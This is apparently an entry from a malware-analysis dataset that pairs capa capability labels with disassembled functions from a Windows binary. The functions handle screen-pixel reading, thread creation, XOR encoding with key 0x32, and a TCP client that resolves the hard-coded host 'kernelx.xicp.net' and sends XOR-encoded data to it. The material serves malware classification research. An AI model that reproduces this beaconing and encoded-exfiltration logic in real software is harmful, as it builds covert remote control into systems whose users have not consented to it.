joyce8/EMBER2024-capa huggingface dataset:
Function at 0x413090
Capabilities:
Print debug messages

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 8]
mov ebp, dword [eax + 4]
push ebp
mov dword [esp + 0x18], ebp
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0x46
push 0xaf
push ebp
mov esi, eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ebx, eax
push ebx
push esi
mov dword [esp + 0x20], ebx
call dword [sym.imp.GDI32.dll_SelectObject]
cmp dword [edi + 0x70], 0
jne 0x413248
mov ebx, dword [sym.imp.GDI32.dll_GetPixel]
jmp 0x4130e0
mov eax, dword [edi + 8]
mov edx, dword [eax]
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x18], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [esp + 0x10], 0
jne 0x413108
test eax, eax
je 0x413244
cmp dword [edi + 0x68], 0
je 0x4131bb
push 0xcc0020
push 0
push 0
push ebp
push 0x46
push 0xaf
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0x13
push 0xa5
push esi
call ebx
cmp eax, 0x88aabb
jne 0x4131bb
fild dword [edi + 0x5c]
fdiv qword [0x427258]
fmul qword [0x427250]
fadd qword [0x427248]
fstp dword [esp + 0x10]
fld dword [esp + 0x10]
call fcn.004197b0
push 0x28
mov ebp, eax
push ebp
push esi
call ebx
push 0x28
push ebp
push esi
mov dword [esp + 0x1c], eax
call ebx
cmp dword [esp + 0x10], 0x88ff55
mov ebp, eax
je 0x413197
cmp dword [edi + 0x5c], 0x2d
jle 0x413197
movzx eax, byte [edi + 0x64]
mov ecx, dword [edi + 8]
mov edx, dword [ecx]
push eax
push edx
mov ecx, edi
call fcn.004117d0
cmp ebp, 0x88ff55
je 0x4131b7
cmp dword [edi + 0x5c], 0x2d
jge 0x4131b7
movzx eax, byte [edi + 0x64]
mov ecx, dword [edi + 8]
mov edx, dword [ecx]
push eax
push edx
mov ecx, edi
call fcn.004117d0
mov ebp, dword [esp + 0x14]
cmp dword [edi + 0x6c], 0
je 0x41322f
push 0xcc0020
push 0
push 0
push ebp
push 0x46
push 0xaf
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
push 0x13
push 0xa5
push esi
call ebx
cmp eax, 0x88aabb
jne 0x41322f
fild dword [edi + 0x60]
push 0x32
fdiv qword [0x427258]
fmul qword [0x427250]
fadd qword [0x427240]
fstp dword [esp + 0x14]
fld dword [esp + 0x14]
call fcn.004197b0
push eax
push esi
call ebx
cmp eax, 0xffbb33
je 0x41322f
movzx eax, byte [edi + 0x65]
mov ecx, dword [edi + 8]
mov edx, dword [ecx]
push eax
push edx
mov ecx, edi
call fcn.004117d0
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [edi + 0x70], 0
je 0x4130e0
mov ebx, dword [esp + 0x18]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
push str.RunThread_Hxhl__end
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
push edi
push 0xfba
mov ecx, edi
mov dword [edi + 0x6c], eax
mov dword [edi + 0x68], eax
call fcn.004114a0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x4132a0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 8]
push esi
push eax
mov eax, dword [esp + 0xc]
mov esi, ecx
mov ecx, dword [esp + 0x14]
push ecx
push edx
push eax
mov ecx, esi
call fcn.00411160
cmp dword [esi + 0x74], 0xffffffff
jne 0x4132db
push 0
push 0
push esi
push 0x413280
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x74], eax
pop esi
ret 0x10
Function at 0x4136f0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, ecx
mov dword [esi + 0x74], eax
cmp eax, 1
jne 0x413773
cmp dword [esi + 0x28], 0
jne 0x413742
call fcn.004124f0
test eax, eax
jne 0x413742
mov eax, dword [esi + 0x180]
cmp eax, 0xffffffff
je 0x413720
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0xfb8
mov ecx, esi
mov dword [esi + 0x180], 0xffffffff
mov dword [esi + 0x74], 0
call fcn.004114a0
pop esi
ret 4
cmp dword [esi + 0x180], 0xffffffff
jne 0x413765
push 0
push 0
push esi
push 0x4136d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x180], eax
mov eax, dword [esi + 0x24]
mov eax, dword [eax]
mov ecx, dword [esi + 0x10]
mov dword [esi + 0x64], ecx
mov dword [esi + 0x68], eax
pop esi
ret 4

Function at 0x413780
Capabilities:
Print debug messages

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, 0x13
lea ebx, [ebx]
push edi
mov ecx, esi
call fcn.00411f10
mov ebx, eax
mov eax, dword [ebx + 0x18]
push eax
mov ecx, esi
call fcn.004114d0
test eax, eax
jne 0x4137b3
inc edi
cmp edi, 0x17
jl 0x413790
pop edi
pop esi
pop ebx
ret
mov eax, dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [edi - 0x13]
cmp eax, 3
ja case.default.0x4137c5
jmp dword [eax*4 + 0x413800]
push 0x17
jmp 0x4137da
push 0x18
jmp 0x4137da
push 0x19
jmp 0x4137da
push 0x1a
mov ecx, esi
call fcn.00411f10
push eax
mov ecx, esi
call fcn.00411b50
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
mov eax, 1
pop ebx
ret
Function at 0x413a60
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, ecx
lea eax, [esi + 0x10]
xor ebx, ebx
mov dword [esp + 0x10], ebx
mov dword [esi + 0x5c], ebx
mov dword [esi + 0x60], eax
mov ecx, dword [eax + 0x14]
mov ecx, dword [ecx]
mov eax, dword [eax]
push edi
mov dword [esi + 0x64], eax
mov dword [esi + 0x68], ecx
mov dword [esi + 0x188], 0xffffffff
mov byte [esi + 0x184], 0xff
cmp dword [esi + 0x17c], ebx
jne 0x413c14
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, edi
cmp dword [esi + 0x74], ebx
jne 0x413ac0
push 0x32
call ebp
jmp 0x413c08
call ebp
mov eax, dword [esi + 0x60]
mov ecx, dword [esi + 0x64]
mov edi, dword [eax + 0x14]
mov eax, dword [eax]
cmp ecx, ebx
je 0x413ad3
cmp ecx, eax
je 0x413ad8
call fcn.00418b72
cmp dword [esi + 0x68], edi
je 0x413bed
cmp dword [esi + 0x74], ebx
je 0x413bed
mov eax, dword [esi + 0x64]
cmp eax, ebx
jne 0x413afd
call fcn.00418b72
mov eax, dword [esi + 0x64]
cmp eax, ebx
je 0x413b01
mov eax, dword [eax]
jmp 0x413b03
xor eax, eax
mov edx, dword [esi + 0x68]
cmp edx, dword [eax + 0x14]
jne 0x413b10
call fcn.00418b72
mov eax, dword [esi + 0x68]
mov eax, dword [eax + 8]
mov dword [esi + 0x5c], eax
cmp dword [esi + 0x74], ebx
je 0x413bed
push eax
mov ecx, esi
call fcn.00413970
cmp eax, ebx
jne 0x413b6d
mov eax, dword [esi + 0x5c]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 8]
mov ecx, dword [ecx]
push edx
mov edx, dword [eax]
push ecx
push edx
lea edi, [esi + 0x78]
push str.Pghrw_Run:__d__Code:__d__s_n
push edi
call fcn.0041861e
add esp, 0x14
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [esi + 0x64]
cmp eax, ebx
jne 0x413b69
call fcn.00418b72
mov eax, dword [esi + 0x64]
cmp eax, ebx
je 0x413bd1
mov eax, dword [eax]
jmp 0x413bd3
cmp eax, 0xff
je 0x413bed
cmp eax, 4
jne 0x413bc5
mov ecx, dword [esi + 0x188]
lea eax, [esp + 0x14]
push eax
push ecx
lea edx, [esp + 0x20]
push edx
mov ecx, esi
call fcn.00411eb0
mov ecx, dword [eax]
mov dword [esi + 0x6c], ecx
mov edx, dword [eax + 4]
mov dword [esi + 0x70], edx
cmp dword [esp + 0x14], ebx
je 0x413bad
mov ecx, dword [eax]
mov dword [esi + 0x64], ecx
mov edx, dword [eax + 4]
mov dword [esi + 0x68], edx
mov dword [esp + 0x14], ebx
mov dword [esi + 0x188], 0xffffffff
push 0x12c
jmp 0x413abe
cmp eax, 1
jne 0x413b56
push 0x64
jmp 0x413abe
xor eax, eax
mov ecx, dword [esi + 0x68]
cmp ecx, dword [eax + 0x14]
jne 0x413be0
call fcn.00418b72
mov edx, dword [esi + 0x68]
mov eax, dword [edx]
mov dword [esi + 0x68], eax
jmp 0x413ac0
push str.End_Pghrw
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
push 0xfba
mov ecx, esi
mov dword [esi + 0x74], ebx
call fcn.004114a0
cmp dword [esi + 0x17c], ebx
je 0x413ab0
push 0x427260
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x413c50
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, ecx
mov dword [esi + 0x74], eax
cmp eax, 1
jne 0x413cd3
cmp dword [esi + 0x28], 0
jne 0x413ca2
call fcn.004124f0
test eax, eax
jne 0x413ca2
mov eax, dword [esi + 0x180]
cmp eax, 0xffffffff
je 0x413c80
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0xfb8
mov ecx, esi
mov dword [esi + 0x180], 0xffffffff
mov dword [esi + 0x74], 0
call fcn.004114a0
pop esi
ret 4
cmp dword [esi + 0x180], 0xffffffff
jne 0x413cc5
push 0
push 0
push esi
push 0x413c30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x180], eax
mov eax, dword [esi + 0x24]
mov eax, dword [eax]
mov ecx, dword [esi + 0x10]
mov dword [esi + 0x64], ecx
mov dword [esi + 0x68], eax
pop esi
ret 4

Function at 0x413ea0
Capabilities:
Print debug messages

Disassembly:
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x18]
push esi
push eax
mov esi, ecx
call fcn.004114d0
test eax, eax
je 0x413ef3
mov ecx, dword [esi + 0x5c]
cmp dword [ecx], 0x16
jne 0x413ed6
inc dword [esi + 0x17c]
mov ecx, esi
mov byte [esi + 0x18c], 0
call fcn.00413e00
mov dword [esi + 0x194], eax
cmp dword [esp + 0xc], 0xd
jne 0x413eed
push 0x11
mov ecx, esi
mov byte [esi + 0x18d], 0
call fcn.00411f40
xor eax, eax
pop esi
ret 8
mov eax, dword [esp + 0xc]
cmp eax, 0xb
je 0x41404c
cmp eax, 0xe
je 0x41404c
cmp eax, 0x10
je 0x41404c
cmp eax, 0x12
je 0x41404c
cmp eax, 0x19
je 0x41404c
cmp eax, 0x1e
je 0x41404c
cmp eax, 0x23
je 0x41404c
cmp eax, 0x28
je 0x41404c
cmp eax, 0x2d
je 0x41404c
cmp eax, 0x31
je 0x41404c
cmp eax, 0xd
jne 0x413f77
mov al, byte [esi + 0x18d]
mov dl, al
inc dl
mov byte [esi + 0x18d], dl
cmp al, 5
jbe 0x414083
mov eax, 2
pop esi
ret 8
cmp eax, 0x16
jne 0x414055
push 0x33
mov ecx, esi
call fcn.00411fa0
test eax, eax
je 0x413f96
mov eax, 0xff
pop esi
ret 8
push 0x20
mov ecx, esi
call fcn.00411fa0
test eax, eax
je 0x413fc5
mov eax, dword [esi + 8]
mov ecx, dword [eax]
push 0xd
push ecx
mov ecx, esi
call fcn.004117d0
mov dword [esi + 0x190], 0x13
mov eax, 4
pop esi
ret 8
mov al, byte [esi + 0x18c]
mov dl, al
inc dl
mov byte [esi + 0x18c], dl
cmp al, 0xf
jbe 0x41404c
mov ecx, dword [esi + 8]
call fcn.00402370
cmp eax, 1
je 0x413f8d
push edi
push 0x4272e4
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [esi + 0x48]
push 0
push 0x427118
push 0x4272cc
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.00411270
mov edi, dword [esi + 0x19c]
neg edi
sbb edi, edi
and edi, 0x21
add edi, 0x14
push edi
mov ecx, esi
call fcn.00411f40
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov ecx, esi
call fcn.00411f40
mov byte [esi + 0x18c], 0
mov dword [esi + 0x19c], 0
pop edi
mov eax, 1
pop esi
ret 8
cmp eax, 0x14
jne 0x41404c
push 0x34
mov ecx, esi
call fcn.00411fa0
test eax, eax
je 0x41404c
push 0x35
mov ecx, esi
mov dword [esi + 0x19c], 1
call fcn.00411f40
mov eax, 6
pop esi
ret 8
push 0x1a
mov ecx, esi
call fcn.00411fa0
test eax, eax
je 0x413f6e
push 0x12
mov ecx, esi
call fcn.00411f40
mov eax, 6
pop esi
ret 8
Function at 0x414510
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, ecx
mov dword [esi + 0x178], eax
cmp eax, 1
jne 0x414599
cmp dword [esi + 0x28], 0
jne 0x414568
call fcn.004124f0
test eax, eax
jne 0x414568
mov eax, dword [esi + 0x188]
cmp eax, 0xffffffff
je 0x414543
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0xfb8
mov ecx, esi
mov dword [esi + 0x188], 0xffffffff
mov dword [esi + 0x178], 0
call fcn.004114a0
pop esi
ret 4
cmp dword [esi + 0x188], 0xffffffff
jne 0x41458b
push 0
push 0
push esi
push 0x4144f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x188], eax
mov eax, dword [esi + 0x24]
mov eax, dword [eax]
mov ecx, dword [esi + 0x10]
mov dword [esi + 0x64], ecx
mov dword [esi + 0x68], eax
pop esi
ret 4

Function at 0x414610
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
xor eax, eax
test edx, edx
jle 0x414629
mov ecx, dword [esp + 4]
mov edi, edi
xor byte [eax + ecx], 0x32
inc eax
cmp eax, edx
jl 0x414620
ret 8

Function at 0x414660
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
push esi
mov esi, dword [esp + 0x114]
xor eax, eax
lea ecx, [esp + 4]
push ecx
push eax
push eax
lea edx, [esp + 0x18]
push edx
push eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], 1
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x4146aa
mov eax, 1
pop esi
add esp, 0x10c
ret 4
lea eax, [esp + 0xc]
push eax
push esi
call sub.WS2_32.dll___WSAFDIsSet
neg eax
sbb eax, eax
neg eax
pop esi
add esp, 0x10c
ret 4

Function at 0x4146d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
xor esi, esi
mov dword [esp + 0x10], ecx
test edi, edi
jle 0x414714
mov ebx, dword [esp + 0x18]
mov ebp, dword [sym.imp.WS2_32.dll_recv]
lea ecx, [ecx]
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 0x10]
cmp eax, 0xffffffff
je 0x41471e
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call ebp
test eax, eax
jle 0x41471e
add esi, eax
cmp esi, edi
jl 0x4146f0
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret 8

Function at 0x414730
Capabilities:
Resolve dns

Disassembly:
push str.kernelx.xicp.net
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x414740
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
ret
Function at 0x414840
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x50
push esi
mov esi, dword [esp + 0x58]
push edi
mov edi, ecx
test esi, esi
jne 0x414859
pop edi
xor eax, eax
pop esi
add esp, 0x50
ret 0xc
cmp dword [esp + 0x64], 0
je 0x414879
mov ecx, dword [esp + 0x60]
xor eax, eax
test ecx, ecx
jle 0x414879
lea ebx, [ebx]
xor byte [eax + esi], 0x32
inc eax
cmp eax, ecx
jl 0x414870
mov eax, esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414880
mov cl, byte [esi]
sub eax, edx
mov byte [esp + 0x5c], cl
mov dl, 0x50
cmp cl, 0x4e
je 0x41489b
cmp byte [esi + 1], dl
jne 0x41484f
cmp byte [eax + esi - 2], dl
je 0x4148a8
cmp byte [eax + esi - 1], 0x4e
jne 0x41484f
push ebx
push 0x4c
lea eax, [esp + 0x14]
push 0
push eax
xor bl, bl
mov dword [esp + 0x18], 0
call fcn.00418570
add esp, 0xc
cmp byte [esp + 0x60], bl
je 0x4148e8
lea ebx, [ebx]
inc esi
cmp byte [esi], 0x2c
jne 0x4148e3
movzx ecx, bl
mov byte [esi], 0
inc esi
mov dword [esp + ecx*4 + 0xc], esi
inc bl
cmp byte [esi], 0
jne 0x4148d0
mov edx, dword [esp + 0xc]
push edx
call fcn.00419671
mov byte [edi], al
mov eax, dword [esp + 0x14]
push eax
call fcn.0041965b
mov edx, dword [esp + 0x1c]
push 0xa
lea ecx, [esp + 0x6c]
push ecx
push edx
mov dword [edi + 1], eax
call fcn.00419b3c
mov dword [edi + 5], eax
mov eax, dword [esp + 0x2c]
push eax
call fcn.00419671
mov ecx, dword [esp + 0x34]
push ecx
mov dword [edi + 9], eax
call fcn.00419671
mov edx, dword [esp + 0x3c]
push edx
mov dword [edi + 0xd], eax
call fcn.00419671
mov dword [edi + 0x11], eax
mov eax, dword [esp + 0x44]
push eax
call fcn.00419671
mov ecx, dword [esp + 0x4c]
push ecx
mov dword [edi + 0x15], eax
call fcn.00419671
mov edx, dword [esp + 0x54]
push edx
mov dword [edi + 0x19], eax
call fcn.00419671
mov dword [edi + 0x1d], eax
mov eax, dword [esp + 0x5c]
push eax
call fcn.00419671
mov ecx, dword [esp + 0x64]
push ecx
mov dword [edi + 0x21], eax
call fcn.00419671
mov edx, dword [esp + 0x6c]
push edx
mov dword [edi + 0x25], eax
call fcn.00419671
mov dword [edi + 0x29], eax
mov eax, dword [esp + 0x74]
push eax
call fcn.00419671
mov ecx, dword [esp + 0x7c]
push ecx
mov dword [edi + 0x2d], eax
call fcn.00419671
add esp, 0x40
pop ebx
mov dword [edi + 0x31], eax
pop edi
mov eax, 1
pop esi
add esp, 0x50
ret 0xc
Function at 0x414bf0
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x13c
mov eax, dword [0x42b160]
xor eax, esp
mov dword [esp + 0x138], eax
push esi
push edi
mov edi, ecx
xor esi, esi
cmp dword [edi + 0x3c], esi
jne 0x414cc6
cmp dword [edi + 0x38], esi
jne 0x414cc6
cmp dword [edi + 0x10], 0xffffffff
je 0x414cc6
push 1
push 0x100
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x14], 0x22
mov dword [esp + 0x19], esi
mov dword [esp + 0x45], esi
mov dword [esp + 0x41], esi
mov dword [esp + 0x3d], esi
mov dword [esp + 0x39], esi
mov dword [esp + 0x35], esi
mov dword [esp + 0x31], esi
mov dword [esp + 0x2d], esi
mov dword [esp + 0x29], esi
mov dword [esp + 0x25], esi
mov dword [esp + 0x21], esi
mov dword [esp + 0x1d], esi
mov dword [esp + 0x15], esi
call fcn.00414750
mov edx, dword [edi + 0x10]
push esi
push 0x100
lea ecx, [esp + 0x48]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x414ca6
mov eax, dword [edi + 0x10]
cmp eax, 0xffffffff
je 0x414ca6
push eax
call esi
mov dword [edi + 0x10], 0xffffffff
mov eax, dword [edi + 0x2c]
cmp eax, 5
lea ecx, [eax + 1]
mov dword [edi + 0x2c], ecx
jle 0x414cc6
mov eax, dword [edi + 0x10]
cmp eax, 0xffffffff
je 0x414cc6
push eax
call esi
mov dword [edi + 0x10], 0xffffffff
mov ecx, dword [esp + 0x140]
pop edi
pop esi
xor ecx, esp
call fcn.0041869b
add esp, 0x13c
ret

Function at 0x414ce0
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
sub esp, 0x104
mov eax, dword [0x42b160]
xor eax, esp
mov dword [esp + 0x100], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x114]
push edi
mov edi, dword [esp + 0x11c]
push 1
push 0x100
lea eax, [esp + 0x18]
mov ebx, ecx
push eax
mov ecx, esi
call fcn.00414750
mov edx, dword [ebx + 0x10]
mov ebp, dword [sym.imp.WS2_32.dll_send]
push 0
push 0x100
lea ecx, [esp + 0x18]
push ecx
push edx
call ebp
mov dword [esi + 0x15], eax
cmp eax, 0xffffffff
jne 0x414d55
mov eax, dword [ebx + 0x10]
cmp eax, 0xffffffff
je 0x414d51
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebx + 0x10], 0xffffffff
xor eax, eax
jmp 0x414d80
test edi, edi
je 0x414d7b
mov ecx, dword [esi + 1]
xor eax, eax
test ecx, ecx
jle 0x414d6b
xor byte [edi + eax], 0x32
inc eax
cmp eax, ecx
jl 0x414d62
mov eax, dword [esi + 1]
mov ecx, dword [ebx + 0x10]
push 0
push eax
push edi
push ecx
call ebp
mov dword [esi + 0x15], eax
mov eax, 1
mov ecx, dword [esp + 0x110]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041869b
add esp, 0x104
ret 8
Function at 0x414da0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push ebp
push esi
xor eax, eax
mov esi, ecx
mov dword [esi + 0x14], eax
push edi
lea edi, [esi + 0x14]
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
movzx ecx, word [esi + 0x24]
mov eax, 2
push ecx
xor bl, bl
xor ebp, ebp
mov word [edi], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [esi + 0x34]
push ebp
push edx
mov word [esi + 0x16], ax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x414e86
jmp 0x414df0
cmp dword [esi + 0x10], 0xffffffff
mov dword [esi + 0x44], 0
jne 0x414e0c
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x10], eax
test ebp, ebp
jne 0x414e15
mov eax, dword [esi + 0x28]
jmp 0x414e20
mov ecx, esi
call fcn.00414730
xor ebp, ebp
xor bl, bl
mov ecx, dword [esi + 0x10]
push 0x10
push edi
push ecx
mov dword [esi + 0x18], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x414e53
mov ecx, esi
mov dword [esi + 0x44], 1
mov dword [esi + 0x2c], 0
call fcn.004149c0
mov dword [esi + 0x44], 0
jmp 0x414e67
mov dl, bl
inc bl
cmp dl, 5
jbe 0x414e61
mov ebp, 1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x34]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x414df0
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x414eb0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0
push 1
mov esi, ecx
push 0
mov dword [esi + 0x150], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea ecx, [esi + 0x30]
push ecx
push 0
push esi
push 0x414e90
push 0
push 0
mov dword [esi + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x34], eax
pop esi
ret 4
Function at 0x414f30
Capabilities:
Get common file path

Disassembly:
or eax, 0xffffffff
push esi
mov esi, ecx
mov dword [esi + 0x5a0], eax
mov dword [esi + 0x58c], eax
mov dword [esi + 0x470], eax
mov dword [esi + 0x41c], eax
mov dword [esi + 0x43c], eax
mov dword [esi + 0x444], eax
mov dword [esi + 0x440], eax
mov dword [esi + 0x42c], eax
mov dword [esi + 0x430], eax
mov eax, 1
push edi
xor edi, edi
mov dword [esi + 0x468], eax
mov dword [esi + 0x46c], eax
mov eax, dword [esp + 0xc]
mov ecx, 0x291f
mov dword [esi + 0x434], edi
mov dword [esi + 0x424], edi
mov dword [esi + 0x420], edi
mov dword [esi + 0x428], edi
mov dword [esi + 8], edi
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 0x578], edi
mov dword [esi + 0x464], edi
mov dword [esi + 0x460], edi
mov dword [esi + 0x45c], edi
mov dword [esi + 0x458], edi
mov dword [esi + 0x454], edi
mov dword [esi + 0x450], edi
mov dword [esi + 0x44c], edi
mov dword [esi + 0x448], edi
mov dword [esi + 0x438], eax
mov word [esi + 0xc], cx
mov dword [esi + 0x580], edi
push ecx
cmp eax, edi
je 0x415003
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi + 0x592], ax
jmp 0x415010
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi + 0x57e], ax
push edi
push 0x10
add esi, 0x316
push esi
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
pop edi
pop esi
ret 4

Function at 0x415030
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
push esi
mov esi, dword [esp + 0x114]
lea eax, [esp + 4]
push eax
push 0
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0x32
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], 1
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x415083
mov eax, 1
pop esi
add esp, 0x10c
ret 4
lea edx, [esp + 0xc]
push edx
push esi
call sub.WS2_32.dll___WSAFDIsSet
neg eax
sbb eax, eax
neg eax
pop esi
add esp, 0x10c
ret 4

Function at 0x4150e0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
push esi
mov esi, dword [esp + 0x114]
lea eax, [esp + 4]
push eax
push 0
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0x32
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], 1
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x415133
mov eax, 1
pop esi
add esp, 0x10c
ret 4
cmp eax, 0xffffffff
je 0x415124
lea edx, [esp + 0xc]
push edx
push esi
call sub.WS2_32.dll___WSAFDIsSet
neg eax
sbb eax, eax
neg eax
pop esi
add esp, 0x10c
ret 4